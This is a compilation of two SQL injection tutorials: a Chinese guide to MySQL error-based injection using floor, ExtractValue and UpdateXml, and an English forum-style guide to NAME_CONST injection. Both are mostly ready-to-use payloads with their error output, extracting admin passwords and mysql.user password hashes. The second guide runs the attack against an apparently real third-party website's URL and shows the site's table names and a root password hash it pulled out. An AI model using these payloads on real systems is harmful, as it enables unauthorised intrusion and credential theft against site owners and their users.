mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法
1、通过floor报错可以通过如下一些利用代码and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);and (select count(*) from (select 1 union select null union select!1)x group by concat((select table_name from information_schema.tableslimit 1),floor(rand(0)*2)));举例如下：首先进行正常查询：mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|1 | test| do it |
+—-+——-+———+假如id输入存在注入的话，可以通过如下语句进行报错。mysql> select * from article where id = 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x frominformation_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：Method1:mysql> select * from article where id = 1 and (select 1 from(select count(*),concat((select pass from admin where id=1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’Method2:mysql> select * from article where id = 1 and (select count(*)from (select 1 union select null union select !1)x group byconcat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’2、ExtractValue
测试语句如下and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));实际测试过程mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′3、UpdateXml测试语句and 1=(updatexml(1,concat(0x3a,(select user())),1))实际测试过程mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
Code:
NAME_CONST(DATA, VALUE)
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
SELECT NAME_CONST('TEST', 1)
|---------------|
| TEST |
| |
|---------------|
| 1 |
| |

Intro to MySQL Variables
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261'
Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
VAR = Your MySQL variable.
MySQL 5.1.3 Server System Variables
Let's try it out on my site..
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
Error:Duplicate column name '5.0.27-community-nt'
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
Data Extraction
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
We should get a duplicate column 1 error...
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
Error:Duplicate column name '1
Now let's get the tables out this bitch..
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
Let's see if it works here, if it does, we can go on and finish the job.
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
Error:Duplicate column name 'com_admanage
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
Let's get the columns out of the user table..
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
So mine looks like this, and I get the duplicate column name 'Host'.
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
Error:Duplicate column name 'Host'
Woot, time to finish this bitch off.
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
So mine looks like this...
Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
Error:Duplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
And there we have it, thanks for reading.
